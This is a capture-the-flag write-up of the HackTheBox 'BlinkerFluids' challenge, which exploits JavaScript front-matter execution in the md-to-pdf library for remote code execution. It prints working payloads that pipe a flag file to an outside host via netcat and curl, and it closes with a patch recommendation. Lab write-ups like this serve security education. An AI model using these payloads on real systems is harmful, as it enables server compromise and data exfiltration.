HackTheBox CA 2022 - BlinkerFluids

Within this post I’ll be doing a write up of the BlinkerFluids challenge from the HackTheBox Cyber Apocalypse 2022 CTF competition (14/05/2022). This write up will be written according to my thought process whilst I was trying to complete the challenge.

Reconnaissance

First look

After downloading the file attached to the challenge from the CTF platform, I decided to take a look through it. The first file which caught my eye was the ‘package.json’ file, I figured from the presence of this file the challenge was a node js application and this file listed the dependencies. The contents were as follows:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
	{
	"name": "blinker-fluids",
	"version": "1.0.0",
	"description": "",
	"main": "index.js",
	"scripts": {
		"start": "node index.js"
	},
	"keywords": [],
	"author": "rayhan0x01",
	"license": "ISC",
	"dependencies": {
		"express": "4.17.3",
		"md-to-pdf": "4.1.0",
		"nunjucks": "3.2.3",
		"sqlite-async": "1.1.3",
		"uuid": "8.3.2"
	},
	"devDependencies": {
		"nodemon": "^1.19.1"
	}
}

I found this file interesting, but none of these dependencies were immediately sticking out to me as a vulnerability yet, so I decided to move on.

Webpage

The main page of the application

Looking at the main page of the application, it appeared that its purpose was for generating invoices in PDF format. Clicking the ‘create an invoice’ button resulted in the following:

The create an invoice page

So it seemed that the application was converting the markdown to a PDF format somehow? I decided to take a closer look.

Further investigation

Eventually, I found an ‘index.js’ file within the ‘routes’ directory of the downloaded archive. After opening this file, these lines in particular were of interest to me:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
router.post('/api/invoice/add', async (req, res) => {
    const { markdown_content } = req.body;

    if (markdown_content) {
        return MDHelper.makePDF(markdown_content)
            .then(id => {
                db.addInvoice(id)
					.then(() => {
						res.send(response('Invoice saved successfully!'));
					})
					.catch(e => {
						res.send(response('Something went wrong!'));
					})
            })
            .catch(e => {
                console.log(e);
                return res.status(500).send(response('Something went wrong!'));
            })
    }
    return res.status(401).send(response('Missing required parameters!'));
});

It appeared that MDHelper was being used to parse submitted user input and create an entry in the database. But where there’s user input, there’s risk. Looking back to the top of the file, I found a reference to a file, MDHelper.js. The contents of the file were as follows:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const { mdToPdf }    = require('md-to-pdf')
const { v4: uuidv4 } = require('uuid')

const makePDF = async (markdown) => {
    return new Promise(async (resolve, reject) => {
        id = uuidv4();
        try {
            await mdToPdf(
                { content: markdown },
                {
                    dest: `static/invoices/${id}.pdf`,
                    launch_options: { args: ['--no-sandbox', '--js-flags=--noexpose_wasm,--jitless'] } 
                }
            );
            resolve(id);
        } catch (e) {
            reject(e);
        }
    });
}

module.exports = {
    makePDF
};

It appeared that the file was an implementation of the ‘md-to-pdf’ library which converted markdown files to pdf files. Considering this was the main functionality of the application, I thought I should check if it has any vulnerabilities.

Exploitation

Trial and error

Aha! I managed to find a post on GitHub detailing a vulnerability (or feature) in a dependency for ‘md-to-pdf which can lead to code execution, with the example payload being as follows:

1
 ---js\n((require("child_process")).execSync("id > /tmp/RCE.txt"))\n---RCE

All I had to do was create a new PDF, with the payload as the content to exploit it. This payload injects another javascript object into node js and executes the command ‘id > /tmp/RCE.txt’ synchronously (meaning, in the same thread). I decided to tweak this payload slightly to fit my needs:

1
---js\n((require("child_process")).execSync("cat ../flag.txt | nc host port"))\n---RCE

Here I modified the payload to get the contents of the flag, which was 1 directory up from the application’s directory and then send it to my machine using netcat. I decided to test my exploit locally by building the docker image myself and deploying it so I could see the ‘stdout’ and ‘stderr’ from the application.

After capturing a request to add a pdf using burpsuite and replacing the contents with my payload, the application threw an error regarding the speech marks I was using in the payload, so I replaced them with single quotes instead. After doing this and resubmitting the payload, I saw the following error in the application:

The shell throwing an error that it’s unable to locate netcat

Refining the payload

Okay, so it looked like my command was being executed, however netcat wasn’t installed on the target system! It looked like I was going to have to get creative with my exploit in order to get the flag. The idea of using curl occurred to me as it’s on almost every unix systems, however I wasn’t quite sure how I was going to get it to send the data in a post request. I came across this post on stackoverflow which taught me that the ‘@-’ argument can be used to read from the pipe. So I ended up with the following exploit.

1
---js\n((require('child_process')).execSync('cat ../flag.txt | curl -d @- https://hostname'))\n---RCE

However, the standard python http server unfortunately did not accept HTTP POST requests, nor log their data, so I had to use this script in order to view the submitted flag. Firstly, I did a test run with the payload locally.

A successful local exploitation of the vulnerability

Great, next I fired up ngrok:

1
 ngrok http 80

And attempted to exploit the vulnerability:

A successful completion of the challenge

Excellent! What an interesting challenge, I’ve never had to use curl to exfiltrate data before.

Mitigations

md-to-pdf

A patch was applied to later versions of md-to-pdf which prevented the gray-matter engine from executing javascript objects in the markdown input. The version of the md-to-pdf dependency should be updated.

Monero

Monero

Licensed under CC BY-NC-SA 4.0
Built with Hugo
Theme Stack designed by Jimmy